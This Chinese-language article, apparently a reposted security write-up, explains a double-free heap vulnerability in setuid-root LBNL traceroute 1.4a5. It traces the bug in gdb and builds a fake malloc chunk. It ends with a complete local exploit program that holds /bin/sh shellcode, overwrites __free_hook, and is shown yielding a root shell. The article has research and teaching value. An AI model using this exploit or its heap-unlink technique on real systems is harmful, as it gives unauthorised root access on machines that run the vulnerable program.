    装了这个软件。由于traceroute需要操纵原始套接字,因此通常被设置了setuid
    root属性。LBNL 1.4a5版的Traceroute(LBNL = Lawrence Berkeley National
    Laboratory)存在一个安全漏洞,可以被攻击者用来非法获取root权限。

    这个漏洞主要是由于free()函数错误得去释放一块已经释放的内存所引起的。

    首先我们看一下traceroute的漏洞出在那里。traceroute使用了一个savestr()函数,它
    在savestr.c中,它的作用类似strdup(),用来复制一个字符串。它会自动调用malloc()分
    配一块较大的内存空间, 并记录下调用完毕后剩余空间的大小。如果用户下次调用
    savestr()时,所需内存比剩余空间还小,就不再调用malloc(),而是直接从已分配的空
    间中返回一个地址,这样可以减少调用malloc()的次数。然而,这给用户确定何时需要释
    放那块分配的内存带来了麻烦,traceroute中没有仔细考虑这一点,而是将savestr()等
    同与strdup()来使用,每次调用savestr()完毕后总会调用free()函数释放内存。因此,
    当第二次调用savestr()后,free()所释放的内存,实际上是一块未被分配的内存(因为
    这块内存已经被第一次free()所释放了)!

    下面舛尉褪莝avestr()的代码:
    <…>
    /* A replacement for strdup() that cuts down on malloc() overhead */
    char *
    savestr(register const char *str)
    {
            register u_int size;
            register char *p;
            static char *strptr = NULL;
            static u_int strsize = 0;

            size = strlen(str) + 1;
            if (size > strsize) {
                    strsize = 1024;
                    if (strsize < size)
                            strsize = size;
                   /* 只有size>strsize的情况下才调用malloc*/          
                    strptr = (char *)malloc(strsize);
                    if (strptr == NULL) {
                            fprintf(stderr, “savestr: malloc\n”);
                            exit(1);
                    }
            }
            (void)strcpy(strptr, str);
            p = strptr;
            strptr += size;
            strsize -= size;
            return (p);
    }        

    <…>

    我们看一下两次调用savestr()时的情形:

    <1>. p = savestr(S)
      
       假设字符串S长度为l(l<1024),则第一次调用savestr(),它会分配1024
       字节长的缓冲区来储存S:
       
         |<———————– 1024 bytes ——————–>|
         +—————————-+—————————-+
         | S[0] S[1]  …   S[l-1] \0 |          junk              |
         +—————————-+—————————-+
         ^                            ^
         |__ p                        |___ strptr
                                       
         
         这时候剩余空间strsize为: (1024 – l – 1)
                        strptr指向 junk的起始
         
    <2>. free(p)

       第一次free()会释放p指向的这块缓冲区(1024字节),它会放一些数据在缓
       冲区的开头
       
         |<———————– 1024 bytes ——————–>|
         +——-+——————–+—————————-+
         | junk1 | S[k] … S[l-1] \0 |          junk              |
         +——-+——————–+—————————-+
                                      ^
                                      |___ strptr
         这时候p所指向的1024字节大小的缓冲区已经被释放了。
         
    <3>. p = savestr(T)

       第二次调用savestr()时,如果字符串T的长度小于strsize(1024 -l -1),
       那么savestr()就不会再次调用malloc()分配新内存,而是直接调用了:
       ….
            (void)strcpy(strptr, str);
            p = strptr;
            strptr += size;
            strsize -= size;
            return (p);
       ….
       将字符串T拷贝到junk的起始处,而实际上,这块内存已经被释放了!        
       拷贝的结果如下:
       
         |<———————– 1024 bytes ——————–>|
         +——-+——————–+——————–+——-+
         | junk1 | S[k] … S[l-1] \0 | T[0] … T[n-1] \0 |  junk2|
         +——-+——————–+——————–+——-+
                                      ^                    ^
                                      |__ p                |___ strptr
                                                           
       这时,strptr指向了junk2处,strsize = 1024 -l -1 -n -1                                                        
       p指向原来的chunk起始处。
       
    <4>. free(p)
       
       第二次调用free()时,所指向的实际上是一个未分配的缓冲区,这就导致
       一个严重错误。我们看到既然S和T都是我们可以控制的,那么我们就可以
       利用前面所说的两种方法中的任意一种来进行攻击!

    下面就是调用’-g’参数时函数执行的一个简单流程。

    main()
    ….
    case ‘g’:

    getaddr(gwlist + lsrr, optarg);

    getaddr(register u_int32_t *ap, register char *hostname)
    {
    register struct hostinfo *hi;

    (1) hi = gethostinfo(hostname);
    *ap = hi->addrs[0];
    (2) freehostinfo(hi);
    }

    struct hostinfo *
    gethostinfo(register char *hostname)
    {


    (3) hi = calloc(1, sizeof(*hi));

    addr = inet_addr(hostname);
    if ((int32_t)addr != -1) {
    (4) hi->name = savestr(hostname);
    hi->n = 1;
    (5) hi->addrs = calloc(1, sizeof(hi->addrs[0]));

    (6) hi->addrs[0] = addr;
    return (hi);
    }

    我们看到,每次getaddr中都会释放hostinfo结构中的每个成员,包括hi->name.(1)
    而再第二次调用gethostinfo()时,又会经历两次calloc操作(3,5),以及一次赋值
    操作(6)。因此看起来并不象我们原来想象的那么简单,关键在于我们能否控制第
    二次free的那块内存的内部结构成员:chunk->size或者是chunk->prev_size.
    让我们来跟踪一下:

    [root@redhat-6 traceroute-1.4a5]# gdb ./traceroute -q
    (gdb) b gethostinfo
    Breakpoint 1 at 0×804aae8: file ./traceroute.c, line 1220.
    (gdb) r -g 111.111.111.111 -g 0×66.0×77.0×88.0×99 127.0.0.1

    Starting program: /usr/src/redhat/BUILD/traceroute-1.4a5/./traceroute -g
       111.111.111.111 -g 0×66.0×77.0×88.0×99 127.0.0.1

    Breakpoint 1, gethostinfo (hostname=0xbffffdf3 “111.111.111.111″)
        at ./traceroute.c:1220
    1220            hi = calloc(1, sizeof(*hi));
    (gdb) n
    1221            if (hi == NULL) {
    (gdb) n
    1225            addr = inet_addr(hostname);
    (gdb) n
    1226            if ((int32_t)addr != -1) {
    (gdb) p/x addr  <– 这是hostname转换后的地址(111.111.111.111)
    $2 = 0×6f6f6f6f
    (gdb) n   <– 下一步要为hostname分配1024字节内存
    1227                    hi->name = savestr(hostname);
    (gdb) n
    1228                    hi->n = 1;
    (gdb) p/x hi->name  <– 这是第一次分配返回的地址
    $3 = 0×804d518
    (gdb) x/8x hi->name -8  
                    [prev_size]       [size]        [data...]  
    0×804d510:      0×00000000      0×00000409      0×2e313131      0×2e313131
    0×804d520:      0×2e313131      0×00313131      0×00000000      0×00000000
    (gdb) n   <– 又动态分配了一块内存
    1229                    hi->addrs = calloc(1, sizeof(hi->addrs[0]));
    (gdb)
    1230                    if (hi->addrs == NULL) {
    (gdb) p/x hi->addrs <– 这块内存是分配在hi->name + 0×400+8这个地址
    $4 = 0×804d920
    (gdb) n                         
    1235                    hi->addrs[0] = addr;
    (gdb) n
    1236                    return (hi);
    (gdb) x/x hi->addrs
    0×804d920:      0×6f6f6f6f   <– 注意,将addr存在这个地址了。
    (gdb) c
    Continuing.

    Breakpoint 1, gethostinfo (hostname=0xbffffe06 “0×66.0×77.0×88.0×99″)
        at ./traceroute.c:1220
    1220            hi = calloc(1, sizeof(*hi));
    [ 这时,前面分配的内存已经全被释放了 ]

    (gdb) p/x 0×804d510   <– 我们看看原来的hi->name内存的情况
    $5 = 0×804d510
    (gdb) x/10x 0×804d510
                    [prev_size]       [size]        [data...]  
    0×804d510:      0×0804d920      0×00000af1      0×40108f80      0×40108f80
    0×804d520:      0×2e313131      0×00313131      0×00000000      0×00000000
    0×804d530:      0×00000000      0×00000000
    [ 我们看到我们原来的数据(16个字节)已经改变了 ]
    (gdb) n
    1221            if (hi == NULL) {
    (gdb) x/10x 0×804d510 <— 执行完第一个calloc(),后,prev_size被清零了。
                    [prev_size]       [size]        [data...]  
    0×804d510:      0×00000000      0×00000af1      0×40108f80      0×40108f80
    0×804d520:      0×2e313131      0×00313131      0×00000000      0×00000000
    0×804d530:      0×00000000      0×00000000
    (gdb) n
    1225            addr = inet_addr(hostname);
    (gdb) n
    1226            if ((int32_t)addr != -1) {
    (gdb) p/x  addr  <– 这里意味着我们可以构造一个任意的值,并赋给addr
    $6 = 0×99887766
    (gdb) n
    1227                    hi->name = savestr(hostname); <–再次调用savestr()
    (gdb) n
    1228                    hi->n = 1;
    (gdb) p/x hi->name
    $7 = 0×804d528       <– 注意!hi->name的起始位置 =
                            0×804d518 +  第一个-g参数的长度(16)
                                                                                                   
    (gdb) x/12x 0×804d510
    0×804d510:      0×00000000      0×00000af1      0×40108f80      0×40108f80
    0×804d520:      0×2e313131      0×00313131   *  0×36367830      0×3778302e
    0×804d530:      0×78302e37      0×302e3838      0×00393978      0×00000000
    [ 第二个参数的内容从*号处开始 ]

    (gdb) n  <– 下面这个calloc将再分配一段内存
    1229                    hi->addrs = calloc(1, sizeof(hi->addrs[0]));
    (gdb) n
    1230                    if (hi->addrs == NULL) {
    (gdb) p/x hi->addrs  < — 这个地址就是我们第一次savestr()时得到的地址!!!
    $8 = 0×804d518
    (gdb) p/x sizeof(hi->addrs[0])
    $9 = 0×4
    (gdb) x/12x 0×804d510     <—    
                    [prev_size]       [size]        [data...]  
    0×804d510:      0×0804d518      0×00000011      0×00000000      0×00000000
    0×804d520:      0×00000000      0×00000ae1   *  0×36367830      0×3778302e
    0×804d530:      0×78302e37      0×302e3838      0×00393978      0×00000000
    [ 从上面看到,新分配的内存也是从0x804d510开始的,而且将用户数据区的前8个
      字节清零。最顶上的块也移动了16个字节,将0x804d520,0x804d524两个地址的
      数据覆盖了。
    ]
    (gdb) n
    1235                    hi->addrs[0] = addr;
    (gdb) p/x hi->addrs[0]
    $10 = 0×0
    (gdb) n
    1236                    return (hi);
    (gdb) p/x hi->addrs[0]
    $11 = 0×99887766
    (gdb) p/x &hi->addrs[0]
    $12 = 0×804d518
    (gdb) x/12x 0×804d510    
                    [prev_size]       [size]        [data...]  
    0×804d510:      0×0804d518      0×00000011      0×99887766      0×00000000
    0×804d520:      0×00000000      0×00000ae1    * 0×36367830      0×3778302e
    0×804d530:      0×78302e37      0×302e3838      0×00393978      0×00000000

    [ 注意,addr = 0x99887766被存到了0x804d518处,这个值是我们能控制的 ]

    (gdb) c
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0×40073f73 in free () at malloc.c:2952
    2952    malloc.c: No such file or directory.

    [ 在试图free *号开始地址的内存时出错 ]

    为了更容易理解一下,我们可以看一下两次调用savestr()时的图:

    第一次调用savestr()后,返回地址p0:

         |<———————– 1024 bytes ——————–>|
         +—————————-+—————————-+
         | “111.111.111.111″ \0       |          junk              |
         +—————————-+—————————-+
         ^
         |__ p0

    在第二次savestr()后,p0移动到一个新的位置p1=p0 + strlen(hostname) +1。

    由于执行了一个calloc()操作,导致从p2开始的12个字节是我们不能控制的.
    而幸运的是,由于有一个”hi->addrs[0] = addr”操作,使得p2前面的四个
    字节是我们能控制的
         
         |<———————– 1024 bytes ——————–>|
         +——–+———————-+———————+—+
         |99887766|0000 0000 0×0ae1|…\0|”0×66.0×77.0×88.0×99″|…|
         +——–+———————-+———————+—+
         | 4字节  |<— 12字节 —>|     ^           
         p0       p2                     |__ p1

    接下来要free(p1)了。根据前面介绍的方法,如果要想利用free(p1),
    我们必须能控制p1-4(size)或者p1-8(prev_size)的内容,既然我们能控制
    p0开始的4个字节,如果我们能设法使得p1与p2重合,那么我们不就可以
    控制p1-4了吗?这样就要求第一个”-g”参数长度为3字节,例如”1.1″
    再加上最后的’\0′,长度就刚好是4字节了。

         |<———————– 1024 bytes ——————–>|
         +——–+————————————————+
         | “1.1″\0|                                                |
         +——–+————————————————+
         | 4字节  |     
         p0       

         |<———————– 1024 bytes ——————–>|
         +——–+————————————————+
         | “1.1″\0|”0×66.0×77.0×88.0×99″\0                         |
         +——–+————————————————+
         | 4字节  |
         p0       p1
         
         |<———————– 1024 bytes ——————–>|
         +——–+—————————-+——————-+
         |99887766|0000 0000 0×0ae1|”88.0×99″\0|…                |
         +——–+—————————-+——————-+
         | 4字节  |<— 12字节 —>|<–8字节–>|
         p0       p2(p1)           

    那么下一步的关键就是如何设置chunk->size,以及将我们的伪造的块放在
    什么地方了。
    inet_addr()有一个”特性”,如果你输入”1.2.3.4 AAAAAA”(注意空格后面
    还添加了一些’A'),它并不会报错,返回值为0×04030201.如果输入
    “0xaa.0xbb.0xcc.0xdd AAA”这样的字符串,返回值就是0xddccbbaa.我们
    可以将伪造的块放在空格后面,将chunk->size放在0xaa.0xbb.0xcc.0xdd
    中。例如,第二个”-g”参数使用”0×1d.0×00.0×00.0×00 fake_chunk”
    这样得到的chunk->size=0×0000001d。
    0×1d这个值是怎么算出来的呢?

    chunk = p1 -8
    fake_chunk = p1 + strlen(“0×1d.0×00.0×00.0×00 “)
               = p1 + 20
               = chunk + 8 + 20
               = chunk + 28
               = chunk + 0×1c
    (0×1c | PREV_INUSE) ==> 0×1d

    有人也许会说,为什么不将第一个参数长度设得比较大,例如,超过16
    字节,这样16字节后面的部分也会在我们的控制之下,利用这些部分来
    构造一个prev_size和size不是更方便吗?我开始也是这么考虑的,但是
    实际测试时发现,p2所代表块的已经是top块,就是最顶上的块。free(p1)
    时,要求p1-8地址低于p2,因此这种方法行不通。

    OK,到这里可以说是大功告成了,下面就可以开始写测试程序了。我们利用的
    是unlink下一个块的方法。你会发现,一旦原理搞清楚了,这个测试程序是相
    当简洁的。:) 唯一需要知道的,就是__free_hook的地址.如果你有对
    /usr/sbin/traceroute的读权限,可以将它拷贝到一个临时目录下,然后使用
    gdb,将断点设在exit,然后获取__free_hook.如果没有读权限,可以增加一个
    偏移量,自动测试可能的__free_hook,一般按照0×10来递增或递减即可。

    /* Exploit for LBNL traceroute with unlinking nextchunk
    *                                   - traceroute-ex.c
    *
    * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
    * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
    *
    *           by warning3@nsfocus.com (http://www.nsfocus.com)
    *                                     2001/03/08
    */
    #include <stdio.h>
    #include <stdlib.h>

    #define __FREE_HOOK     0×401091b8      /* __free_hook地址 */
    #define VULPROG “/usr/sbin/traceroute”

    #define PREV_INUSE 0×1
    #define IS_MMAPPED 0×2

    char shellcode[] =
      ”\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90″   /*这一段是为了跳过垃圾数据 */
      ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
      ”\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
      ”\x80\xe8\xdc\xff\xff\xff/bin/sh”;

    main (int argc, char **argv)
    {
      unsigned int codeaddr = 0;
      char buf[128],fake_chunk[16];
      char *env[2];
      unsigned int *ptr;

      /* 计算shellcode在堆栈中的地址 */
      codeaddr = 0xc0000000 – 4 – (strlen (VULPROG) + 1) – (strlen (shellcode) + 1);

      env[0] = shellcode;
      env[1] = NULL;

      /* 伪造一个块结构。 */
      ptr = (unsigned int *) fake_chunk;
      *ptr++ = 0×11223344 & ~PREV_INUSE;
      *ptr++ = 0xfffffffc;
      *ptr++ = __FREE_HOOK – 12;
      *ptr++ = codeaddr;

      bzero (buf, 128);
      /* 设置chunk->size = ((20+8 = 28 = 0×1c) | PREV_INUSE)= 0×1d */
      memcpy(buf, “0×1d.0×00.0×00.0×00 “, 20);
      memcpy(buf+20, fake_chunk, 16);

      execle (VULPROG, VULPROG, “-g”, “1.1″, “-g” , buf, “127.0.0.1″, NULL, env);

    }/* End of main */

    测试结果:

    [warning3@redhat-6 malloc]$ gcc -o ex3 ex3.c
    [warning3@redhat-6 malloc]$ ./ex3
    bash# id
    uid=507(warning3) gid=507(warning3) euid=0(root) groups=507(warning3),100(users)
    bash#

    ★ 结束语:

    malloc/free的问题使得在某些平台/系统下,Heap区溢出的危险性大大增加了,
    值得引起我们的重视。另外,除了free()可能出问题外,realloc()也可能出问题。
    有兴趣的读者可以自行参看一下realloc()的代码。

    最初想写这篇文档是在去年10月份,后来由于种种原因,一直拖了下来,
    为此被scz骂了很多次。 现在总算完成了。:)

    ★ 感谢:

      感谢Solar Designer,Chris Evans,dvorak,Michel Kaempf无私地奉献了他
      们的研究成果。(参见参考文献.)
      
    ★ 参考文献:

    [1] Solar Designer, <<JPEG COM Marker Processing Vulnerability in Netscape Browsers>>
        http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt     
        
    [2] Chris Evans, <<Very interesting traceroute flaw>>
        http://security-archive.merton.ox.ac.uk/bugtraq-200009/0482.html
        
    [3] dvorak , <<Traceroute exploit + story>>
        http://security-archive.merton.ox.ac.uk/bugtraq-200010/0084.html
        
    [4] Michel Kaempf, <<[MSY] Local root exploit in LBNL traceroute>>
        http://security-archive.merton.ox.ac.uk/bugtraq-200011/0081.html

  • 相关阅读:
    Sonne的健身日志(4)
    Sonne的健身日志(13)16周腹肌计划第四周(2012.3.302012.4.6)
    Sonne的健身日志(1)
    Iphone升级ios6后很耗电的解决办法
    试驾凯迪拉克SRX
    Sonne的健身日志(6)
    Sonne的健身日志(10)16周腹肌计划第一周感受与体会
    关于Iphone 4 如何用itunes备份短信等设置
    上海人2
    签了个100万的合同,我却很失落
  • 原文地址:https://www.cnblogs.com/shanmao/p/2829527.html
Copyright © 2011-2022 走看看